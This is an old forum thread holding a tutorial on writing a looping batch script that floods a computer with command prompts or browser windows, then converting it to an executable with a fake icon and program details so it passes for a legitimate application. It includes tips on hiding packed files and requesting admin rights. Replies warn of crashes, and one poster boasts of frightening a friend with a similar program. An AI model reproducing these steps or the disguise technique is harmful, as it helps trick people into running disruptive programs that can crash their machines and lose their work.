Massive Application Spam

Started by G_G, August 01, 2011, 06:49:45 pm

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Massive Application Spam



I am very evil. Today I'm going to teach you guys an evil bat script. Then I'm going to be more evil and teach you how to change it to an exe and change the icon to make it look like a legit application!


1. Create our Evil Batch Script

What do you want this program to spam exactly? Porn site? Rick Roll? Or just a bunch of command prompts until the user gets blue screened. It doesn't matter here, you can even start applications you know they have installed. I'm just going to do a CMD spam. Here's the code.
Code: dos
@echo off
:A
start
goto A

This will constantly open up command prompts. Now if you want to spam a website, just paste a url in front of start.
start http://decisive-media.net/

Or if you know of any other ways to be evil with batch scripts go right ahead. This is just the simplest. Next be sure to save the file as a .bat.


2. Bat to Exe

This program is pure evil and genius! Convert your batch scripts to executables. Nobody will suspect a thing! Especially if you change the icon, program name, version, etc.. This program does it all. It even lets you include files that will be extracted at runtime. Download the program here. Its free too! Run the program, choose your batch script and output.

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Lets go over the settings. Do you want your script to run in the background? If your spamming command prompts it doesn't matter. Now look at the Working Directory, this is only important if you plan on packing files with the batch script. If you are packing files choose Temp Folder, this way the user can't see any files being extracted. Go ahead and alter the rest of the settings you see on this tab. Though I will tell you this, don't encrypt the program unless you want the user to enter a password at runtime. Check the "Overwrite Files" box if you plan on packing files. If not an annoying dialog will pop up asking if you want to overwrite it. You do not want this if you plan on using it for an attack. And check the Admin box if you plan on using commands that require admin powers. Ignore the decompiler.

Here are my final settings.
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One last note, if you plan on packing files, just click the "Include" tab. You can access the files like this. e.g. you pack lulz.png
Code: dos

@echo off
:A
start lulz.png
goto A



3. Program Information

Click the "Version Informations" tab. I care more about the icon, the Program Information would be just to throw people off even more. Browse to your icon. Once you're all done click "Compile" at the bottom. This will turn your batch script into an exe.

Here are my version settings.
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4. Output

During this example I used a safe script that printed out a message. I didn't want to kill my computer while making this tutorial.
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Proper Usage of Program

This program is actually very handy and was not made for uses like these. Small disclaimer asking you guys to use this with control. We have enough virus fags on youtube to last the internet. Thanks guys hope you enjoyed it!

Here's the code I used for the images above.
Code: dos
@echo off
echo Hello Decisive Media!
pause

Ryex

a fair warning, if your for some unknown reason try to test the exe you make. for your sake and the health of the computer have the process explorer open so you can kill the app spamming process before you break something if you try to open it afterwards you might not be able to get it open and close the process before your computer crashes.

This CAN cause damage to ram, processors, and hard drives.
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I made a C# app that opened up glass windows each second. One form more per already existing form. The window manager didn't like it. But it stopped answering after some time.
It was fun when a friend of mine opened it thinking it was his webbrowser. He got pretty scared and then angry, so I never told him who did it. Ahhh.. fun times.